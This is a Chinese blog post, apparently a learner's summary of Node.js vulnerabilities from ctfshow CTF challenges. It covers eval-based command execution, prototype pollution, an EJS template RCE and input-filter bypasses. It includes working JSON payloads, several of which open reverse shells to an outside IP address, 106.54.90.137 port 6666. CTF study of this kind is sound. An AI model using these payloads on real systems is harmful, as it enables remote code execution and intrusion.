nodejs常见漏洞小结
前言
近期开始对nodejs做了一个学习,先是花了些时间去菜鸟教程大致看了一下nodejs的一些基础知识,然后也看了一些文章,做了一些题目,这里做个简单的小结吧。
eval执行问题
nodejs里面也有eval函数,和php一样,可以把语句当代码进行执行,所以我们可以利用一下命令执行的模块来执行我们的系统命令:
require("child_process").execSync('ls')
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
挺多的,有时候上下文不能利用require ,我们可以:
global.process.mainModule.constructor._load('child_process').exec('calc')
原型链污染
原型链污染是nodejs常考的点,关于原理P神的文章分析的很清楚了,这里不做过多的分析了,传送门:
https://www.freebuf.com/articles/web/200406.html 核心就是找到 undefined的变量,我们想办法去一层一层上溯,去污染最顶层。
CTFshow338题
这里我们找到 login.js 这个路由发现:
1 | var express = require('express'); |
这里我们看到当 secert.ctfshow ===36dboy 会返回flag .而ctfshow这个变量是为被定义的,而这里存在 utils.copy 函数,我们跟进看到:
1 | function copy(object1, object2){ |
明显的赋值操作,所以这里我们构造:
{"__proto__":{"ctfshow":"36dboy"}} 即可
CTFshow339题
339和338题源码大同小异,这里多了一个新的路由 api.js 我们先来看看 login.js 路由的代码:
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
这里得保证 secert.ctfshow 的值为flag变量的值,但是我们无法得知flag的值,直接污染ctfshow的值没什么意义,但是我们看到api.js路由里的代码:
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
我们可以看到这里,有一个function和query,我们可以污染query的值,然后配合function来执行系统命令。我们构造的代码为:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('cat routes/login.js')"}}
向/login post payload 造成原型链污染,然后POST访问 /api 触发。
一开始没成功打出来,有几个原因,抓包修改的时候,Content-Type 那里得改成 application/json
然后注意这里的路由,访问 /login 和 /api 都只支持 post方法。
当然这里的命令执行咱们也可以弹shell:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/106.54.90.137/6666 0>&1\"')"}} ,触发方式和上面一样,只是vps 需要监听一下 : nc -lvnp 6666 这里一开始我用 nc -lvvp 是监听不到的。
CTFshow340题
这个题目和339题差不多,区别在于 /login 路由那里:
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
这里是对 user.userinfo 进行赋值,所以我们需要向上污染两级,本地测试一下:

可以看到一级并没有污染到顶层,我们再向上污染一级:

所以最后的payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('cat routes/login.js')"}}}
同理也可以反弹shell
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/106.54.90.137/6666 0>&1\"')"}}}
ejs rce
网上大佬对ejs模板审计出来的一个rce,payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/106.54.90.137/6666 0>&1\"');var __tmp2"}}} ,这里直接反弹shell了,命令可以改成其他的,然后随便访问一下即可触发rce 。
这个地方也是利用了原型链污染。
这个审计目前来说看的比较懵逼。
nodejs其他模板也存在Rce
其他trick
字符转换问题
在nodejs里面,有一些比较特殊的函数,比如 toUpperCase() ,字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase() ,字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
利用这个特性,有时候可以绕过一些限制。
&符号处理
来看一道ctfshow的第344题:
1 | router.get('/', function(req, res, next) { |
这里正常我们需要传参?query={"name":"admin","password":"ctfshow","isVIP":"true"} 但是这里把逗号给过滤了。
payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} nodejs会把这三部分给拼接起来,这里对c进行url编码,因为避免和前面双引号 %22和c 匹配到正则。
小结
nodejs还有一些其他利用方式,比如反序列化,vm沙箱逃逸,还没遇到,遇到在总结吧